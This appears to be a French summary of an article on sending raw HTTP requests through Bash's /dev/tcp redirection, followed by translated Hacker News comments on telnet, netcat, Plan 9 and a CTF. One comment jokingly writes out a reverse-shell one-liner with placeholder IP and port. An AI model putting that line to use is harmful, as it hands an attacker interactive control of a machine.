- Dans les images de conteneur minimales, curl ou wget sont souvent absents, donc une méthode de contournement pour vérifier la connectivité à des services internes sans installer de paquet peut être utile
- La redirection Bash
/dev/tcp/host/port permet d’ouvrir un socket TCP, afin d’écrire directement une chaîne de requête HTTP/1.1 et de lire la réponse
/dev/tcp n’est pas un chemin du système de fichiers mais une fonction interne de Bash ; cela ne fonctionne donc pas avec ls /dev/tcp ni avec les approches d’accès à des fichiers ordinaires dans d’autres shells
- Cette méthode est une technique de débogage simple qui ne gère ni les redirections, ni les réponses chunked, ni la compression, ni les nouvelles tentatives, ni TLS, et sans
Connection: close, cat peut rester en attente
- Pour les tâches HTTP du quotidien, curl est le bon outil, mais dans de petits conteneurs où il est difficile d’ajouter des outils, cela suffit pour une vérification rapide de la connectivité
Écrire une requête HTTP avec un descripteur de fichier Bash
- Il fallait vérifier si le point d’entrée
/health d’un autre service sur un réseau Docker interne était accessible, mais l’image ne contenait ni curl ni wget
- Bash peut relier un socket TCP à un descripteur de fichier, ce qui permet d’écrire et d’envoyer directement une requête HTTP comme suit
exec 3<>/dev/tcp/service/8642
printf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3
cat <&3
service doit être un nom d’hôte résolu et joignable depuis l’endroit où la commande est exécutée
- Cela peut être le nom d’un conteneur ou d’un service défini sur le réseau Docker
- Un nom DNS résolvable peut aussi être utilisé
- L’hôte et le port doivent être adaptés à l’environnement
- La sortie de la réponse inclut la ligne de statut, les en-têtes, une ligne vide et le corps
- Pour ajouter des en-têtes, il suffit d’insérer d’autres lignes se terminant par
\r\n avant la ligne vide qui termine la requête
exec 3<>/dev/tcp/service/8642
printf 'GET /v1/models HTTP/1.1\r\nHost: service\r\nAuthorization: Bearer %s\r\nConnection: close\r\n\r\n' "$API_KEY" >&3
cat <&3
Pourquoi /dev/tcp n’est pas un vrai fichier
/dev/tcp n’est pas un véritable fichier de périphérique, mais une redirection gérée par Bash
- Comme ce chemin n’existe pas sur le disque,
ls /dev/tcp échoue
- Exécuter
cat /dev/tcp/... dans un autre shell produit également une erreur
- Selon le manuel de Bash, dans
/dev/tcp/host/port, si host est un nom d’hôte valide ou une adresse Internet et port un numéro de port entier ou un nom de service, Bash tente d’ouvrir un socket TCP
- Bash effectue la résolution DNS et le
connect(2), et exec 3<> relie le socket au descripteur de fichier 3, ce qui permet la lecture et l’écriture
Un outil de vérification temporaire, pas un remplaçant d’un client HTTP
- Cette approche n’est pas un véritable client HTTP et ne gère donc ni les redirections, ni les réponses chunked, ni la compression, ni les nouvelles tentatives, ni TLS
- L’en-tête
Connection: close est important
- Sans lui, le serveur peut garder la connexion ouverte selon le comportement par défaut de HTTP/1.1
- Dans ce cas,
cat <&3 peut ne jamais se terminer en attendant un EOF
- L’encapsuler avec quelque chose comme
timeout 6 bash -c '...' permet aussi de se prémunir contre les cas où la connexion ne se ferme pas
- Comme
/dev/tcp ouvre un socket brut, cela ne vaut que pour HTTP en clair ; pour https, il faut openssl s_client
- Ce n’est pas une fonctionnalité POSIX mais une fonctionnalité de Bash ; on ne peut donc pas l’utiliser avec
dash, qui est le /bin/sh de Debian, ni avec zsh, et il faut appeler bash directement
- C’est une option de compilation activée avec
--enable-net-redirections lors de la construction de Bash
- En résumé, ce n’est pas vraiment un outil généraliste pour remplacer curl, mais plutôt quelque chose d’adapté à une vérification rapide de la connectivité dans de petits conteneurs où il est impossible d’ajouter des installations
1 commentaires
Avis sur Hacker News
Enfant, à la fin des années 90, j’ai été bouleversé en découvrant qu’on pouvait se connecter avec
telnetaux ports 80, 25 et 110 et parler directement au serveurOn pouvait taper soi-même une simple requête
GET / HTTP/1.1, ou envoyer un mail sur le port 25 avecHELO,mail-from,mail-to, et récupérer la liste de la boîte aux lettres ainsi que les messages individuels via POP3Cette expérience a marqué le début de la prise de conscience qu’« il n’y a pas de magie » : chaque partie d’un ordinateur a été fabriquée par des humains, et avec des efforts on peut en comprendre le fonctionnement jusqu’à un certain niveau
À l’avenir, la plupart des choses seront sans doute confiées à des agents, mais il restera probablement dans divers systèmes des interstices intéressants pour ceux qui veulent apprendre le fonctionnement réel sans les filtres des modèles et des garde-fous
jacques.chirac@elysee.fret se donner des airs de hacker devant ses amisC’était une pile de sigles posée sur différentes manières de créer, envoyer et lire des fichiers texte structurés
Le jour où j’ai compris que même une base de données était, elle aussi, un fichier texte, j’ai dû m’asseoir un moment
telnetà POP3 et SMTPTLS ne fonctionne pas non plus avec
telnet, et beaucoup de serveurs ne renvoient qu’une redirection pour les requêtes HTTPEn remplaçant
telnetparopenssl s_client, on peut tout de même tunneliser du texte dans TLS, même si ça donne un peu l’impression d’un détournementC’est aussi dommage que beaucoup de protocoles modernes préfèrent un encodage binaire, ce qui les rend difficiles à manipuler au niveau filaire sans outils dédiés
Malgré tout, il y aura sans doute encore à l’avenir des gens pour creuser ce genre de choses, et les vieilles techniques comme allumer un feu avec un bâton ou cuire des briques d’argile sont amusantes et parfois réellement utiles
L’IA facilite même les expérimentations : sans aller fouiller les RFC, on peut demander à un LLM et apprendre, par exemple, la plupart des commandes IMAP courantes
zshdispose, en plus du/dev/tcpde Bash, des moduleszsh/net/tcpetzsh/zftphttps://zsh.sourceforge.io/Doc/Release/TCP-Function-System.h...
https://zsh.sourceforge.io/Doc/Release/Zsh-Modules.html#The-...
https://zsh.sourceforge.io/Doc/Release/Zftp-Function-System....
Dans Plan 9, il y avait un vrai système de fichiers synthétique
/net, qui permettait ce genre d’opérations et bien plus depuis n’importe quel programmeOn pouvait même monter le
/netd’une autre machine via le protocole 9P et l’utiliser comme une sorte de VPN improvisé, et on peut expérimenter ça sous Linux avec 9frontOn retrouve aussi des traces du
/netà la Plan 9 dans la bibliothèque Go, ce qui ressemble à l’héritage de Rob PikeÇa fonctionne très bien avec
example.comOn ouvre avec
exec 3<>/dev/tcp/example.com/80, on envoieprintf 'GET / HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' >&3, puiscat <&3renvoieHTTP/1.1 200 OKAujourd’hui, il reste si peu de domaines qui n’imposent pas HTTPS qu’on finit souvent par utiliser example.com pour ce genre de test
Dans le navigateur, aller sur http://example.com provoque une redirection vers la page du portail captif, ce qui permet de refaire la procédure d’accès à Internet
printf, ça fonctionneLes
\rdevraient être là en théorie, mais même sans eux ça marcheOn peut plaisanter en disant que, pour parler à l’ordinateur d’un ami, tout le monde utilise
bash -i >& /dev/tcp/IP/PORT 0>&1Bash ne « parle » pas HTTP ; il permet d’ouvrir des sockets TCP
Ce qu’on fait ici, c’est parler HTTP directement ; c’est acceptable pour des tests ou du débogage, et c’est amusant à faire à la main, mais utiliser ce faux client HTTP dans un environnement réellement non supervisé finira par se retourner contre vous
Ce code-jouet peut casser parce qu’il ne parse pas correctement HTTP
Bien sûr, on peut écrire un client HTTP/1.1 complet en Bash, et on peut aussi faire un serveur HTTP en Bash pur : https://github.com/bahamas10/bash-web-server
Une option moins folle, c’est généralement
nc, et c’est le plus souvent le choix le plus senséBash ne peut pas écouter des sockets TCP/UDP pour accepter des connexions entrantes
Le projet
bash-web-servercompile un écouteur de sockets en C, puis fournit cette fonctionnalité en le chargeant dynamiquement comme module « intégré » à l’exécution[0] https://github.com/bahamas10/bash-web-server/tree/main/loada...
ncou un outil similaire de la famille netcat serait un meilleur choix, mais l’image utilisée à ce moment-là ne contenait pas ce genre d’outilOn tape des requêtes HTTP à la main depuis avant HTTP/1.1 et l’arrivée de l’en-tête
HostobligatoireC’est une folie pour un usage sérieux, et implémenter un serveur web en Bash l’est tout autant, mais pour des tests rapides c’est plutôt bien
https://sdomi.pl/weblog/15-witchcraft-minecraft-server-in-ba...
J’ai appris ça en voyant l’équipe Bauhinia l’utiliser pour résoudre un défi CTF
C’était un CTF en plusieurs étapes, et au début on obtenait un shell
systemvia une chaîne ROP, mais c’était en pratique un environnement carcéral où l’on ne pouvait exécuter quasiment rien d’autre que BashOn n’avait guère que
readetcat, donc on a utilisécat /dev/tcp, puis on l’a redirigé vers un terminal virtuel ; en lisant son contenu, on a récupéré l’URL d’un système interne et trouvé le flagEn vérifiant la connectivité entre conteneurs sur un réseau Docker interne, j’ai découvert cette méthode parce que l’image ne contenait ni
curlniwgetCe qui m’a surpris, c’est que Bash dispose de
/dev/tcp, ce qui permet de bricoler quelque chose qui ressemble à une requête HTTP avec un peu de magie shellPar exemple, on peut ouvrir avec
exec 3<>/dev/tcp/service/8642, envoyerprintf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3, puis fairecat <&3Ici,
serviceest le nom d’hôte ciblé et8642est le port auquel on essaie de parler en HTTPJe n’en vois aucun, et j’estime que c’est presque indispensable, même dans une image de production
Autrefois, cette fonctionnalité ne marchait pas sur Debian et les distributions dérivées de Debian, parce que l’accès TCP via ce fichier virtuel était désactivé par défaut
Si j’ai bien compris, la position a changé en 2009 et la fonctionnalité a été activée ; la discussion et les liens figurent dans le bug #146464
<https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=146464#37>
Il existe aussi d’autres moyens d’accéder directement aux fonctions réseau depuis des outils shell, notamment
curl,wget, les commandesHEADetGETde Perl,netcat/nc,socat,telnet, etc.Je me souviens qu’adolescent, j’envoyais des messages flippants avec
echovers le/dev/pttyd’autres personnes pour les surprendreLes messages que j’envoyais apparaissaient comme par magie dans leur terminal ouvert
Je ne sais toujours pas pourquoi, en salle informatique, on utilisait des comptes différents sur chaque client sans les verrouiller ; c’était peut-être une limite des VAX à l’époque